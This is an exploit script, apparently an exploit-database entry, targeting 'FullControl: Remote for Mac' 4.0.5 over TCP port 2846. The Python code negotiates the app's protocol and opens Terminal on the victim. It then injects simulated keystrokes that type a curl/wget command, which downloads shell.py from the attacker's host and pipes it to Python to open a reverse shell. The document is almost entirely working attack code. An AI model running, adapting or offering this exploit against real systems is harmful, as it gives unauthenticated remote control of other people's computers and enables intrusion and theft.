# Exploit Title: FullControl: Remote for Mac 4.0.5 - RCE V2 # Date: 01/08/2025 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://fullcontrol.cescobaz.com/ # Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890 # Version: 4.0.5 # Tested on: macOS 14.4 Sonoma ''' Description: "FullControl: Remote for Mac" v4.0.5 is vulnerable to unauthenticated RCE via TCP port 2846. Attackers on the same network can send crafted packets to simulate keyboard input, allowing command execution without user interaction or authentication. ''' import socket import json import time import threading import queue import sys HOST = '192.168.1.143' PORT = 2846 LHOST = '192.168.1.63' DEBUG = False BAR_WIDTH = 50 NEGOTIATION_CMDS = [ 'accessibilityAPIEnabled', 'protocol', 'API_level', 'fc', 'os', 'json2', 'version', 'fc', 'os', 'device', 'FullControl', '4.2.0', '4.2.0', '26.0', 'Attacker', ] reverse_shell = f'(curl -s http://{LHOST}/shell.py || wget -qO- http://{LHOST}/shell.py) | $(which python3 || which python)' reverse_shell_payloads = [] for c in reverse_shell: instr = "space" if c == " " else "return" if c == "\n" else c reverse_shell_payloads.append( f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}' ) reverse_shell_payloads.append( '{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}' ) def encode_slashes(s: str) -> str: return s.replace('/', '\\u002f') def recv_response(sock, timeout=2.0): sock.settimeout(timeout) try: data = sock.recv(8192) return data.decode(errors='ignore') if data else None except socket.timeout: return None except Exception as e: if DEBUG: print(f"[!] Receive error: {e}") return None def draw_progress(current, total, label="Working"): filled = int(BAR_WIDTH * current / total) bar = '\u2588' * filled + '\u2591' * (BAR_WIDTH - filled) percent = (current / total) * 100 sys.stdout.write(f"\r[{label}] |{bar}| {percent:.1f}%") sys.stdout.flush() def perform_negotiation(sock, total_counter, current_counter): for cmd in NEGOTIATION_CMDS: try: sock.sendall(cmd.encode()) recv_response(sock) current_counter[0] += 1 draw_progress(current_counter[0], total_counter) time.sleep(0.2) except Exception as e: if DEBUG: print(f"[!] Negotiation error: {e}") continue def send_launch_command(sock): cmd = { "Class": "Command", "Id": 29, "Type": "launch", "Instruction": "/usr/bin/open -a Terminal" } json_cmd = json.dumps(cmd, separators=(',', ':')) encoded_cmd = encode_slashes(json_cmd) if DEBUG: print(f"[>] Launch Terminal: {encoded_cmd}") try: sock.sendall(encoded_cmd.encode()) except Exception as e: if DEBUG: print(f"[!] Launch command error: {e}") def send_keystrokes(sock, q, total_counter, current_counter): while True: try: pkt = q.get(timeout=5) if pkt is None: break sock.sendall(pkt.encode()) current_counter[0] += 1 draw_progress(current_counter[0], total_counter) time.sleep(0.001) except queue.Empty: break except Exception as e: if DEBUG: print(f"[!] Keystroke error: {e}") continue def main(): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(5) s.connect((HOST, PORT)) total_packets = len(NEGOTIATION_CMDS) + len(reverse_shell_payloads) counter = [0] perform_negotiation(s, total_packets, counter) send_launch_command(s) time.sleep(2) q = queue.Queue() for pkt in reverse_shell_payloads: q.put(pkt) q.put(None) send_keystrokes(s, q, total_packets, counter) time.sleep(2) print("\n[✓] Exploit delivered. Reverse shell should connect back.") except Exception as e: print(f"\n[!] Main error: {e}") if __name__ == '__main__': main()